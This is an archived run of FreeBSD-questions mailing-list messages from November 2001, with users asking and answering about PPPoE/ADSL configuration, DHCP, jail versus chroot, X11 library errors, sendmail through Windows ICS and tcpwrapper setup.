MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > hi, does anybody have a working configuration for ADSL (phone line) high > speed internet connection working w/ freebsd? more specifically, i plan to > subscribe Bell Sympatico's high speed internet service. if anybody has it > working, i'll really appreicate if you can give some pointers as to where > to start. Sure. I'm doing that now. Do you have 1 network card or two? gf To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 8:44:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axel.truedestiny.net (b76168.upc-b.chello.nl [212.83.76.168]) by hub.freebsd.org (Postfix) with ESMTP id 1DA5E37B405 for ; Thu, 22 Nov 2001 08:44:15 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by axel.truedestiny.net (Postfix) with ESMTP id 4910849A25; Thu, 22 Nov 2001 17:44:13 +0100 (CET) Received: by axel.truedestiny.net (Postfix, from userid 1000) id B3AE549A23; Thu, 22 Nov 2001 17:44:10 +0100 (CET) Date: Thu, 22 Nov 2001 17:44:10 +0100 From: Axel Scheepers To: David Kelly Cc: Peter Harmsen , questions@FreeBSD.ORG Subject: Re: dhcp client Message-ID: <20011122174410.B61433@mars.thuis> Reply-To: Axel Scheepers References: <200111220103.fAM13SU68911@grumpy.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111220103.fAM13SU68911@grumpy.dyndns.org>; from dkelly@grumpy.dyndns.org on Wed, Nov 21, 2001 at 07:03:28PM -0600 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 07:03:28PM -0600, David Kelly wrote: > Not only can FreeBSD connect to your ISP via DHCP but it can NAT and > DHCP for any other computer in your house without the ISP knowing. > Everything needed is included in the standard install. However I don't > recommend running a DHCP server for a little internal net. Why not ? I have 3 servers and 2 clients and occasionally a laptop connected to my network. I like the fact that I only have to put DHCP in the ifconfig line, imagine some friends coming over, it just keeps things simple as it should :) -- Axel Scheepers UNIX System Administrator email: axel@axel.truedestiny.net ascheepers@vianetworks.nl http://axel.truedestiny.net/~axel ------------------------------------------ What this world needs is a good five-dollar plasma weapon. ------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 8:46:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from server.dambiec.com (CPE-61-9-148-152.vic.bigpond.net.au [61.9.148.152]) by hub.freebsd.org (Postfix) with SMTP id 6D9CF37B405 for ; Thu, 22 Nov 2001 08:46:04 -0800 (PST) Received: (qmail 27144 invoked from network); 22 Nov 2001 16:49:07 -0000 Received: from karun.lan (HELO karunwin2k) (10.0.1.3) by server.dambiec.com with SMTP; 22 Nov 2001 16:49:07 -0000 Message-ID: <000901c17321$69e95960$0301000a@karunwin2k> From: "Karun" To: "Kathy Quinlan" , References: <025501c1736e$82705040$fe00a8c0@wskatinka> Subject: Re: Servers on bigpond adsl Date: Thu, 22 Nov 2001 16:46:29 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Kathy Quinlan" To: Sent: Friday, November 23, 2001 1:58 AM Subject: Servers on bigpond adsl > Hi all, > > I am looking at running a test server on my home ADSL link through Telstra > Bigpond. I believe they use a port scanner to detect and kick us if we do it > ?/ > > I am wondering if anyone has any ideas to over come it ?? I am only using it > to test some websites and get feedback from people before dropping the > webserver off to the local Primary School (is easier to make changes and > work on it local rather than through their 56K modem) in both locations they > are only handling redirections from a main server/ firewall machine, so no > worries about swapping from PPPoE back to PPP > > Regards, > > Kat. > > They don't appear to run a port scanner or block port 80. Im running my server without any problems. Karun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 8:52:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from crb.crb-web.com (crb.crb-web.com [64.124.126.247]) by hub.freebsd.org (Postfix) with ESMTP id 5765437B405 for ; Thu, 22 Nov 2001 08:52:25 -0800 (PST) Received: from wcuddy by crb.crb-web.com with local (Exim 3.22 #1) id 166wxl-0005cr-00 for freebsd-questions@freebsd.org; Thu, 22 Nov 2001 11:44:33 -0500 Date: Thu, 22 Nov 2001 11:44:33 -0500 From: Wayne Cuddy To: freebsd-questions@freebsd.org Subject: chroot() vs jail() Message-ID: <20011122114433.A21619@crb-web.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It appears that jail provides some added functionality over chroot. Can anyone explain the differences between jail/chroot and when you would choose one over the other? Thanks, Wayne To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 8:57:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from happy.cow.org (happy.cow.org [198.88.20.7]) by hub.freebsd.org (Postfix) with ESMTP id 5A8A037B416 for ; Thu, 22 Nov 2001 08:57:45 -0800 (PST) Received: (from ravi@localhost) by happy.cow.org (8.11.4/8.11.3) id fAMGrwF85352; Thu, 22 Nov 2001 11:53:58 -0500 (EST) Date: Thu, 22 Nov 2001 11:53:58 -0500 From: ravi pina To: "Noel V. Balansag" Cc: freebsd-questions@FreeBSD.ORG Subject: Re: help Message-ID: <20011122115358.W2155@happy.cow.org> Reply-To: ravi@cow.org References: <3.0.6.32.20011121200539.007a2650@pop.fibertel.com.ar> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3.0.6.32.20011121200539.007a2650@pop.fibertel.com.ar>; from pongkee@mail.fibertel.com.ar on Wed, Nov 21, 2001 at 08:05:39PM -0300 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 08:05:39PM -0300, Noel V. Balansag said at one point in time: > hi. > > everytime i try to 'startx', i get an error message ( > /usr/libexec/ld-elf.so.1:Shared Object "libXpm.so.4" not found ). this > occurred after i first moved the contents of X11R6 to a backup folder, then > installed XFree86 4.1.0 (didn't run),then uninstalled version4.1.0, then > moved back the contents to the original folder. > > i already tried to re-install the whole XFree863.3.6 distribution, and > gnome with sawfish, but i still get the same error. > > please help. i don't want to re-install the whole thing again just to > correct this. > > tia. startx is really a wrapper for xinit. try running `ldd` on your xinit binary and see where its looking for the libXpm.so.4 if you have it and its just not in the right place, you can move things around so it is in the right place for xinit. make sure you do a make clean on everything then try rebuilding xpm. -r -- echo "send pgp key" | mail ravi@cow.org When someone asks you, "A penny for your thoughts," and you put your two cents in, what happens to the other penny? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 9:35: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 0D32F37B416 for ; Thu, 22 Nov 2001 09:34:59 -0800 (PST) Received: from hades.hell.gr (patr530-a163.otenet.gr [212.205.215.163]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAMHYqY18039; Thu, 22 Nov 2001 19:34:52 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAMGnFX08502; Thu, 22 Nov 2001 18:49:15 +0200 (EET) (envelope-from charon@labs.gr) Date: Thu, 22 Nov 2001 18:49:15 +0200 From: Giorgos Keramidas To: Alex Obradovic Cc: freebsd-questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011122164915.GC8027@hades.hell.gr> References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> <011701c17212$8518b010$0a00000a@atkielski.com> <20011120144826.F6187@bsd.alexe.org> <012e01c17217$ef44ead0$0a00000a@atkielski.com> <20011120152631.H6187@bsd.alexe.org> <018901c17220$48e10170$0a00000a@atkielski.com> <20011120162911.I6187@bsd.alexe.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011120162911.I6187@bsd.alexe.org> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 16:29:11, Alex Obradovic wrote: > > Then I would wipe out your entire ports/x11 tree. If you never updated > your ports collection, I would delete everything under /ports/ and get > everything clean. Just to be pedantic, it is /usr/ports and not /ports... -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 9:35:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id B928B37B416 for ; Thu, 22 Nov 2001 09:35:07 -0800 (PST) Received: from hades.hell.gr (patr530-a163.otenet.gr [212.205.215.163]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAMHZ1Y18222; Thu, 22 Nov 2001 19:35:01 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAMGdOS08434; Thu, 22 Nov 2001 18:39:24 +0200 (EET) (envelope-from charon@labs.gr) Date: Thu, 22 Nov 2001 18:39:24 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: setantae , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011122163924.GB8027@hades.hell.gr> References: <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> <20011120150009.GA78153@rhadamanth> <008f01c171fb$a5108da0$0a00000a@atkielski.com> <20011120201935.GB80963@rhadamanth> <00c801c17205$1175f2b0$0a00000a@atkielski.com> <20011120225043.GC82211@rhadamanth> <013301c17218$20ef74b0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <013301c17218$20ef74b0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-21 00:07:22, Anthony Atkielski wrote: > Ceri writes: > > Yet another assumption. > > I personally don't _need_ any Windows applications > > at all. > > I personally don't know anyone who _doesn't_ need at least a few Windows > applications. Who's right? To prove that something exists (in this case, someone who does not use Windows to get his work done) you only have to find *one* example. To prove the opposite, is a bit harder than saying "I don't know anyone". -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 9:44:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mout02.kundenserver.de (mout02.kundenserver.de [195.20.224.133]) by hub.freebsd.org (Postfix) with ESMTP id DDB6237B418 for ; Thu, 22 Nov 2001 09:44:53 -0800 (PST) Received: from [195.20.224.208] (helo=mrvdom01.schlund.de) by mout02.kundenserver.de with esmtp (Exim 2.12 #2) id 166xu5-0004R0-00; Thu, 22 Nov 2001 18:44:49 +0100 Received: from pd90172eb.dip.t-dialin.net ([217.1.114.235]) by mrvdom01.schlund.de with esmtp (Exim 2.12 #2) id 166xu4-0007dX-00; Thu, 22 Nov 2001 18:44:48 +0100 Date: Thu, 22 Nov 2001 16:43:22 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: Kathy Quinlan Cc: Subject: Re: Servers on bigpond adsl In-Reply-To: <025501c1736e$82705040$fe00a8c0@wskatinka> Message-ID: <20011122164127.F53238-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 22 Nov 2001, Kathy Quinlan wrote: > I am looking at running a test server on my home ADSL link through Telstra > Bigpond. I believe they use a port scanner to detect and kick us if we do it > ?/ I really would try if this is so. You can configure ppp thus, it will always reconnect. Uli. ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 9:49:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from netmail.tiscalinet.es (upop3.tiscalinet.es [212.166.64.99]) by hub.freebsd.org (Postfix) with ESMTP id 48A7037B405 for ; Thu, 22 Nov 2001 09:49:46 -0800 (PST) Received: from [212.166.140.194] by netmail.tiscalinet.es with HTTP; Thu, 22 Nov 2001 18:49:41 +0100 Message-ID: <3BF8A82300002035@netmail.tiscalinet.es> Date: Thu, 22 Nov 2001 12:49:41 -0500 From: ixion@inicia.es Subject: =?iso-8859-1?Q?ppp=20error?= To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi, i have edited /etc/ppp.conf several times with the info i read on the Han= dBook and all over the net. however, i have never surfed freely. it sometimes connects (sometimes, when using kppp, it runs, but most of the time, even if i use kppp, i can=B4t finish the tcp 3 way handshake (a= s i was told)!)...without running the X server (console mode) i have never got PPP running... in the next lines i paste the content of /etc/ppp.conf default: set device /dev/cuaa1 set speed 115200 set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT \ OK-AT-OK ATE1Q0 OK \\ATDP\\T TIMEOUT 40 CONNECT" set timeout 180 airtelnet: set phone 1071943101110 set login set authname xxxxxx set authkey xxxxxx set timeout 120 set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 add default HISADDR dial <=3D=3D=3D=3D=3Dis this line needed? the content of /etc/resolv.conf is: domain airtel.net nameserver xxx.xxx.xxx.xxx nameserver xxx.xxx.xxx.xxx i don=B4t know what=B4s wrong :-( i have ppp compiled on my kernel... Really Thx in advance :-) Iker Cazenave PD: id the info i have given to you is not enough...i will attach the log= file if you consider it necessary :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 9:55:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from molly.intercom.net (molly.intercom.net [216.240.106.84]) by hub.freebsd.org (Postfix) with ESMTP id 5FC5037B417 for ; Thu, 22 Nov 2001 09:55:55 -0800 (PST) Received: from cross (hh1106132.direcpc.com [206.71.106.132]) by molly.intercom.net (8.12.1/8.12.1) with SMTP id fAMHuem4016151 for ; Thu, 22 Nov 2001 12:56:42 -0500 (EST) Message-ID: <004c01c1737e$c6e89790$0273150a@woodstock.lanalyse.com> From: "Ron Hensley" To: References: <20011122164127.F53238-100000@big> Subject: Sendmail via Windows ICS Date: Thu, 22 Nov 2001 12:54:39 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 My FreeBSD box is connected to a Windows 2000 server which connects to the Internet Via DirecPC Satelite. I seem to be unable to send outgoing mail from the FreeBSD Box. maillog shows the connection out to my ISPs Sendmail and it gets accepted, but never makes it to the destination. Im sure its going to their postmaster account as the return address is to my FreeBSD Box, which has a non routable 192.168.X.X Address, thus it cant send me the error and instead would go to the ISPs postmaster. This is also why the mails dont get sent Im suire, mail sent from 192.168.X.X Address, then mapped to the ISP IP the 2000 server gets assigned, thus things dont match up. If I had a static ip address and hostname Id have sendmail masquerade as that, however I get a differing dynamic one. Then there is the DirecPC itself mapping traffic to appear to have come from THEM with a 3rd altogether different IP, so the return traffic will come back over the Air. Is there a solution to this to get sendmail servers out there to accept mail from my box? The dialup on the 2000 can send so the ISP is allowing the DirecPC IPs to Relay it would seem. Id say the reject point would be the ISPs sendmail server seeing the 192.168.X.X not reslving to a name from its point of view, or the servers it tries to forward the mail on to. -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/073lFb04N5DzUjEQJ+9wCfdGVtEzKM3LRZLv5C/mSTI/HouIcAoMr0 xjqfW98476C4baw4fIuYy08h =wEg2 -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 10:14:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from marlo.eagle.ca (marlo.eagle.ca [209.167.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 0666E37B405 for ; Thu, 22 Nov 2001 10:14:27 -0800 (PST) Received: from BobLablaw (staff.eagle.ca [209.167.16.15]) by marlo.eagle.ca (8.11.3/8.11.3) with SMTP id fAMIDDM01160; Thu, 22 Nov 2001 13:13:13 -0500 (EST) (envelope-from freymann@scaryg.shacknet.nu) Message-ID: <000d01c17381$94666b00$7301a8c0@eagle.ca> From: "ScaryG" To: "Fuji Zhang" Cc: References: Subject: Re: high speed internet connection and lesstif question Date: Thu, 22 Nov 2001 13:14:50 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > hi, thx for replying. no. i don't have any network card. when i called > BELL they seem to suggest if i have USB port on my MB i don't need to have > network card. i have no experience or any knowledge in this thing. Oh, well that's a little bit different. First you'd have to ensure your USB DSL "modem" is supported under FreeBSD. I have no idea if they are or aren't -- sorry. It's quite easy if you have an external, ethernet based DSL Modem, 'cause then you'd connect a network cable between it and your network card. The FreeBSD Handbook has a chapter on PPPoE. Depending on what release of FreeBSD you're using, it may involve recompiling your Kernel to include the options required to do this. # PPPoE Stuff options NETGRAPH options NETGRAPH_ETHER options NETGRAPH_PPPOE options NETGRAPH_SOCKET Most of the tutorials leave out one of the 4 options and then your kernel panics with errors about netgraph already installed, so be sure to include all four! I believe FreeBSD 4.4+ will auto load the kernel modules for you. http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/pppoe.html I added some items to my /etc/rc.conf file like: # PPPoE stuff ifconfig_vr1="up" ppp_enable="YES" ppp_mode="ddial" ppp_profile="default" Then you have to configure /etc/ppp/ppp.conf. This is my entire file: default: set device PPPoE:vr1 set speed sync set mru 1492 set mtu 1492 set ctsrts off enable lqr set authname your.bell.user.id set authkey your.bell.password set log Phase tun command set dial set login set ifaddr 10.0.0.1/0 10.0.0.2/0 add default HISADDR # nat enable yes papchap: set authname your.bell.user.id set authkey your.bell.password In this case, vr1 is the network card I'm using to connect to the DSL Modem. I suppose if you get your USB DSL Modem installed you would substitute that device name there. They've made it super easy lately. More and more are using ADSL connections. I remember a little over a year ago when I tried to do this with FreeBSD 4.1 I believe, it was a bit of a hassle for about a week before I got it working ;-) -gf To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 10:21:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by hub.freebsd.org (Postfix) with ESMTP id 50EC837B416 for ; Thu, 22 Nov 2001 10:21:36 -0800 (PST) Received: from user-33qtm2c.dialup.mindspring.com ([199.174.216.76] helo=gohan.cjclark.org) by pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 166yTe-0000N2-00; Thu, 22 Nov 2001 10:21:35 -0800 Received: (from cjc@localhost) by gohan.cjclark.org (8.11.6/8.11.1) id fAMBiUN00943; Thu, 22 Nov 2001 03:44:30 -0800 (PST) (envelope-from cjc) Date: Thu, 22 Nov 2001 03:44:30 -0800 From: "Crist J. Clark" To: USER Cc: Mike Semcheski , FreeBSD@hm.homeip.net, freebsd-questions@FreeBSD.ORG Subject: Re: natd failed to write packet back Message-ID: <20011122034430.B226@gohan.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <00da01c172bd$2de74080$05d85c42@kibserv.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <00da01c172bd$2de74080$05d85c42@kibserv.org>; from kib@mediaone.net on Wed, Nov 21, 2001 at 01:48:57PM -0500 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 01:48:57PM -0500, USER wrote: > I have a similar problem but this is affecting my clients. It seems if a > laptop stays connected longer than the default lease time I get the > following message > natd[89]: failed to write packet back (Host is down) > > and it repeats sometimes several hundred times an minute. > > On the client side the laptop in question loses all IP connectivity but > winipcfg reports a valid lease with up to 8 hours remaining in the lease. > Release/Renew within the client machine resolve this trouble and often the > same IP is reissued. If all connectivity is lost, the natd(8) message telling you the "host is down" seems quite appropriate. The fact you are losing connectivity sounds more like issues with DHCP or some other network configuration problem. It sounds like natd(8) is just reporting the problem, not causing it. > I checked /var/log/security and it seems to be completely empty. Is logging > to security disabled or is it possible for there to be no messages in a case > like this. All depend on your syslog.conf(5). -- Crist J. Clark cjclark@alum.mit.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 10:26:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from 217-126-145-95.uc.nombres.ttd.es (217-126-145-95.uc.nombres.ttd.es [217.126.145.95]) by hub.freebsd.org (Postfix) with ESMTP id 957B537B405 for ; Thu, 22 Nov 2001 10:26:54 -0800 (PST) Received: by unicorn.ea4els.ampr.org (Postfix, from userid 1001) id 1DDD0313B; Thu, 22 Nov 2001 19:26:51 +0100 (CET) To: freebsd-questions@freebsd.org Subject: Re: Sendmail via Windows ICS References: <20011122164127.F53238-100000@big> <004c01c1737e$c6e89790$0273150a@woodstock.lanalyse.com> From: Simon J Mudd Date: 22 Nov 2001 19:26:50 +0100 In-Reply-To: ronh@intercom.net's message of "Thu, 22 Nov 2001 17:58:35 +0000 (UTC)" Message-ID: <86n11ewtjp.fsf@unicorn.ea4els.ampr.org> Lines: 57 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello Ron, ronh@intercom.net ("Ron Hensley") writes: > My FreeBSD box is connected to a Windows 2000 server which connects > to the Internet Via DirecPC Satelite. I seem to be unable to send > outgoing mail from the FreeBSD Box. maillog shows the connection > out to my ISPs Sendmail and it gets accepted, but never makes it to > the destination. If it gets accepted by your ISPs mail server, ask your ISP why it isn't getting to the final destination. You obviously need logs from /var/log/maillog to show that the mail got to them in the first place. > Im sure its going to their postmaster account as the return address > is to my FreeBSD Box, which has a non routable 192.168.X.X Address, > thus it cant send me the error and instead would go to the ISPs > postmaster. By the return address, do you mean the sender envelope address? normally this corresponds with your "From: user@domain.com" address. If this is not a valid address then it is quite possible that the mail will be junked, or if there is any problem sending the mail in the first place the appropriate mail server won't be able to tell you. If the sender envelope address is valid, then you should get a warning or bounce if the message can't be sent to the final destination. > This is also why the mails dont get sent Im suire, mail sent from > 192.168.X.X Address, then mapped to the ISP IP the 2000 server gets > assigned, thus things dont match up. Your provider never sees the 192.168.x.x address - he'll see your Windows 2000 Server's ip. The fact that the message doesn't come direct from your windows 2000 server shouldn't matter. > If I had a static ip address and hostname Id have sendmail masquerade > as that, however I get a differing dynamic one. You can still get sendmail to masquerade, obviously having a dynamic ip complicates this process. > Is there a solution to this to get sendmail servers out there to > accept mail from my box? The dialup on the 2000 can send so the ISP > is allowing the DirecPC IPs to Relay it would seem. Id say the > reject point would be the ISPs sendmail server seeing the > 192.168.X.X not reslving to a name from its point of view, or the > servers it tries to forward the mail on to. I don't think your setup is as complicated as you suggest, perhaps showing us some output from /var/log/maillog and giving us a completer description of your system might help? Simon -- Simon J Mudd, Tel: +34-91-408 4878, Mobile: +34-605-085 219 Madrid, Spain. email: sjmudd@pobox.com, Postfix RPM Packager To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 11:24:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail42.sdc1.sfba.home.com (femail42.sdc1.sfba.home.com [24.254.60.36]) by hub.freebsd.org (Postfix) with ESMTP id 8A2C837B405 for ; Thu, 22 Nov 2001 11:24:36 -0800 (PST) Received: from cr1034264a ([24.103.169.134]) by femail42.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011122192435.TJXD7860.femail42.sdc1.sfba.home.com@cr1034264a> for ; Thu, 22 Nov 2001 11:24:35 -0800 Message-ID: <000a01c1738b$522fb070$0100a8c0@cr1034264a> Reply-To: "P K" From: "P K" To: "freebsd-questions" Subject: ssh Date: Thu, 22 Nov 2001 11:24:31 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C17348.41350D80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C17348.41350D80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all I have questions 1/ how do I know my ssh is with tcpwrapper? 2/ how do i configure the hosts.allow? Do you have examples? put All:All: deny in the first line? because it is not same as linux. hosts.deny 3/ What is those symbols standing for fxp0, dc0, bw0 TIA ------=_NextPart_000_0007_01C17348.41350D80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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TIA
 
------=_NextPart_000_0007_01C17348.41350D80-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 11:27:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obelix.spectraweb.ch (obelix.plusnet.ch [194.158.230.8]) by hub.freebsd.org (Postfix) with ESMTP id 37BF537B405; Thu, 22 Nov 2001 11:27:02 -0800 (PST) Received: from saturn.spectraweb.ch (tch-ls-3-dialup-132.spectraweb.ch [194.230.249.132]) by obelix.spectraweb.ch (8.11.2/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id fAMJQqo04452; Thu, 22 Nov 2001 20:26:53 +0100 Received: (from martin@localhost) by saturn.spectraweb.ch (8.11.6/8.11.6) id fAMKXe002400; Thu, 22 Nov 2001 21:33:40 +0100 (CET) (envelope-from pcservi@spectraweb.ch) Date: Thu, 22 Nov 2001 21:33:38 +0100 From: Martin Schweizer To: Thor Legvold Cc: freebsd-net@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Network setup questions Message-ID: <20011122213337.C2253@spectraweb.ch> Reply-To: Martin Schweizer References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i 